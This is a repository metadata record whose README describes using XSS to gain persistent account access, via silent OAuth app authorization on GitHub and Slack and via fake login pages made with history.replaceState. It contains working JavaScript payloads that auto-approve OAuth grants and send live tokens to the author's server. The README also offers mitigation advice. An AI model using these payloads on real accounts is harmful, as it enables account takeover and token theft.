{"id":13542271,"url":"https://github.com/dxa4481/XSSOauthPersistence","last_synced_at":"2025-04-02T09:33:27.716Z","repository":{"id":70178967,"uuid":"164405009","full_name":"dxa4481/XSSOauthPersistence","owner":"dxa4481","description":"Maintaining account persistence via XSS and Oauth","archived":false,"fork":false,"pushed_at":"2019-01-07T09:06:47.000Z","size":25,"stargazers_count":78,"open_issues_count":0,"forks_count":16,"subscribers_count":6,"default_branch":"master","last_synced_at":"2025-03-25T17:07:03.713Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/dxa4481.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-01-07T08:59:17.000Z","updated_at":"2025-01-04T22:00:41.000Z","dependencies_parsed_at":null,"dependency_job_id":"a9af0dee-5be5-4282-b274-01d3925b6202","html_url":"https://github.com/dxa4481/XSSOauthPersistence","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dxa4481%2FXSSOauthPersistence","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dxa4481%2FXSSOauthPersistence/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dxa4481%2FXSSOauthPersistence/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dxa4481%2FXSSOauthPersistence/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dxa4481","download_url":"https://codeload.github.com/dxa4481/XSSOauthPersistence/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246789300,"owners_count":20834269,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-01T10:01:03.740Z","updated_at":"2025-04-02T09:33:27.384Z","avatar_url":"https://github.com/dxa4481.png","language":"JavaScript","readme":"\n# Advance XSS Persistence With Oauth\n\nWhen you ask \"What's the worst thing that an attacker can do with Cross Site Scripting\" in an interview setting, one of the first answers typically given is \"You can steal session tokens with `document.cookie`\"\n\nWhile this is technically true for some applications, modern browser features mitigate this with the `httponly` [flag](https://www.owasp.org/index.php/HttpOnly) set by modern applications which prevents Javascript from reading the session token.\n\nAnother school of thought is XSS is a complete compromise of one's account or website because of its ability to perform actions and steal data on behalf of a user. While it's true with XSS generally speaking you can perform most actions and read most data on behalf of the user, one major limiting factor is the execution time, which is limited by how long the victim stays on the page. \n\nWhat's truly desirable to an attacker is long-lived, unrestricted, undetectable access to a victim's account that persists after the victim closes the page.\n\nTo solve this problem, I will propose installing Oauth apps and stealing Oauth credentials with XSS, with no user interaction, and I'll show a few examples of what this looks like on real websites.\n\n### Other persistence options with XSS\n\nBefore digging into Oauth, let's go over a few other persistence options. \n\nAs already mentioned, the `httponly` flag is a major limitation for stealing session tokens, but there are other limitations too. Here's a few:\n\nAlso limited by: \n+ Short lived sessions\n+ Device fingerprinting the application may use\n+ The user logging out\n### Service Workers\nThere have been some other interesting tricks to maintain persistence, such abusing XSS and JSONP to [install service workers](https://c0nradsc0rner.com/2016/06/17/xss-persistence-using-jsonp-and-serviceworkers/)\n\nThis technique can be used not just with JSONP. More generally if there's arbitrary file upload, or another vector to in some capacity get a Javascript file on the same origin as your XSS entry point, you can install the service worker.\n\nThere are some downsides to this method, as follows\n\n+ Hacker complexity (requires precise conditions)\n+ Must proxy long lived access through victim\n+ Website removing the service worker entry point, kills the persistence\n\t+ JSONP endpoint removed\n\t+ File upload sanitized\n\t+ Endpoints changed around\n\t+ etc...\n\n### UI Redressing\n\nAnother technique is to trick the user into entering credentials via UI redressing. You can use your XSS to make a fake login page on the victim's origin, and modern browser API's let you change and redress the URL bar to look like a login page.\n\nYou can do that with the history API:\n\n```javascript\nhistory.replaceState(null, null, '../../../../../login');\n```\n\nLet's see what this looks like:\n\nWe'll start with a website vulnerable to XSS:\n\n[https://xss-game.appspot.com/level1/frame?query=\u003cscript\u003eprompt(1)\u003c/script\u003e](https://xss-game.appspot.com/level1/frame?query=\u003cscript\u003eprompt(1)\u003c/script\u003e)\n\nNext we'll redress the URL so it looks like we've been redirected to the login page:\n\n[https://xss-game.appspot.com/level1/frame?query=%3Cscript%3Ehistory.replaceState%28null%2C%20null%2C%20%27..%2F..%2F..%2Flogin%27%29%3Bdocument.body.innerHTML%20%3D%20%22%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3Ch1%3EPlease%20login%20to%20continue%3C%2Fh1%3E%3Cform%3EUsername%3A%20%3Cinput%20type%3D%27text%27%3EPassword%3A%20%3Cinput%20type%3D%27password%27%3E%3C%2Fform%3E%3Cinput%20value%3D%27submit%27%20type%3D%27submit%27%3E%22%3C%2Fscript%3E](https://xss-game.appspot.com/level1/frame?query=%3Cscript%3Ehistory.replaceState%28null%2C%20null%2C%20%27..%2F..%2F..%2Flogin%27%29%3Bdocument.body.innerHTML%20%3D%20%22%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3Ch1%3EPlease%20login%20to%20continue%3C%2Fh1%3E%3Cform%3EUsername%3A%20%3Cinput%20type%3D%27text%27%3EPassword%3A%20%3Cinput%20type%3D%27password%27%3E%3C%2Fform%3E%3Cinput%20value%3D%27submit%27%20type%3D%27submit%27%3E%22%3C%2Fscript%3E)\n\nAfter clicking that link, you should find yourself on `/login`, which actually doesn't exist server side (it'll throw a 500 error if you make a direct request to it). \n\n![UI redressing XSS window.history](https://i.imgur.com/msQFrRb.png)\n\nThis trick also masks the source code for the page. If you click \"view source\" it will display the source code for `/login` rather than your malicious page.\n\nThis trick can be used to harvest credentials, but the obvious downside is the required user interaction.\n\n## Oauth Persistence\n\n### What is Oauth?\nOauth is a mechanism to grant 3rd parties long lived access to your account. We've seen how this can be abused before [via attackers tricking users into clicking the authorize button](https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks/)\n\nBy authorizing a 3rd party application, you in affect, give that 3rd party a long lived token that can be used to access your account in different ways.\n\n### Combining with XSS\n\nHere I'll explore using XSS to authorize an attacker generated malicious app without user interaction, that's sole purpose is to maintain long lived access to your account.\n\nBecause we're able to perform actions on behalf of the user, as long as the Oauth grant page is hosted on the same origin as the origin we've found XSS, we can install Oauth applications on behalf of our user. Let's see what this looks like. \n\n### Github Example\nFirst we'll build an Oauth app in Github:\n\n![Oauth XSS](https://i.imgur.com/Sfuhzgs.png)\n\nIf you're familiar with Oauth, once the user clicks the authorize button, it grants our server a long lived token access to all the scopes requested.\n\nGithub has some protections against certain oauth scopes, forcing users to re-enter credentials if they haven't entered them recently, for those Oauth scopes. For this reason, our app requests scopes that do not require credentials. The scopes are email, and read/write Webhooks. This will allow us to install [Webhooks](https://developer.github.com/webhooks/) on repos on behalf of the user.\n\n\nBecause Github hosts their Oauth grant on their main domain, XSS anywhere on github.com will allow us to Authorize the app on behalf of the user. To simulate this XSS, one can paste the following into their Javascript terminal \n**Warning, this will send my server a live Oauth credential.**\n\nCode to paste:\n```javascript\nfetch(\"https://github.com/login/oauth/authorize?client_id=3b46677ca554abcd215a\u0026scope=email,write:repo_hook\").then(function(response) {\n    response.text().then(function (text) {\n        var oauthForm = '\u003cform id=\"potato\" action=\"/login/oauth/authorize\"' + text.split('\u003cform action=\"/login/oauth/authorize\"')[1].split(\"\u003cbutton\")[0] + '\u003cinput name=\"authorize\" value=\"1\"\u003e\u003cinput type=\"submit\" id=\"potato\"\u003e\u003c/form\u003e';\n        document.write(oauthForm);\n\t\tdocument.getElementById(\"potato\").submit();\n    });\n  })\n  ```\n\nTerminal: \n![Oauth XSS Github](https://i.imgur.com/xhI0blq.png)\n\nAnd that's pretty much it. The code above installs the Oauth application, and it sends the token to my server. The attacker now has long lived access to the victim's account, and can install webhooks on behalf of the user.\n\n### Slack example\n\nWith the same technique we can target slack. The following Javascript code forces you to install an Oauth application in your workspace, given you have permissions to do so:\n\n![Slack Oauth XSS App](https://i.imgur.com/qQVKLT3.png)\n\nFeel free to again simulate the XSS by pasting the below Javascript into your terminal anywhere on your workspace domain.\n **Warning, this will send my server a live Oauth credential.**\n\n```javascript\nfetch(location.origin + \"/oauth/authorize?scope=channels:history+users.profile:read\u0026client_id=496141141553.514835337734\").then(function(response) {\n    response.text().then(function (text) {\n                var oauthPath = text.split('\u003cnoscript\u003e\u003cmeta http-equiv=\"refresh\" content=\"0; URL=')[1].split('?')[0];\n        fetch(location.origin + oauthPath).then(function(response){\n                        response.text().then(function (text) {\n                                var crumb = text.split('type=\"hidden\" name=\"crumb\" value=\"')[1].split('\"')[0];\n                                var evilForm = `\u003cform id=\"potatoCarrots\" action=\"${oauthPath}\" method=\"post\" accept-encoding=\"UTF-8\"\u003e\u003cinput type=\"hidden\" name=\"create_authorization\" value=\"1\" /\u003e\u003cinput type=\"hidden\" name=\"crumb\" value=\"${crumb}\" /\u003e\u003c/form\u003e\u003cscript\u003edocument.getElementById('potatoCarrots').submit()\u003c/script\u003e`\n\n                                document.write(evilForm)\n            })\n        })\n    });\n  })\n  ```\n\nThe above code ran in the context of XSS on your workspace will install an Oauth app with the scope `channel:history`. This grants an attacker long term read access to public channels in your workspace.\n\n## Summary\nInstalling Oauth applications is a reliable way for attackers to give themselves long term persistence on a victim's account. XSS is a convenient vector to install the application, without the victim knowing.\n\nThis serves as a better replacement for the classical `document.cookie`  XSS vector to get long lived account access.\n\nHere is a partial, but incomplete list of websites that support Oauth https://en.wikipedia.org/wiki/List_of_OAuth_providers\n\n### Suggestions\n\nSlack and Github send email notifications to users on app install. This is a good control to notify users something might be wrong.\n\nGithub also puts extra controls in place requiring a password be re-entered for sensitive oauth grants. This can be bitter/sweet, as it normalizes users to entering sensitive credentials into the application on a regular basis. For that reason, the above password harvesting technique may be more effective on the user base. That said, prevents this automated Oauth token stealing for those scopes. \n\nAnother effective control would be to move Oauth app grants onto its own subdomain. This limits the attack surface for XSS, as an attacker would need to find an injection point on the same origin, which could be extremely limited in scope to just the Oauth grant.\n\nSome providers, such as Google, already have subdomain seperation of the Oauth grant page. That said, most of the ones I looked at, did not put the Oauth grant page on its own origin.\n\nFor this reason, I believe XSS on the same origin as the Oauth grant origin, reflected, stored or DOM, should be treated as considerably higher severity than XSS on origin's that don't host Oauth grants.\n","funding_links":[],"categories":["Exploitation"],"sub_categories":["XSS Injection"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdxa4481%2FXSSOauthPersistence","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdxa4481%2FXSSOauthPersistence","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdxa4481%2FXSSOauthPersistence/lists"}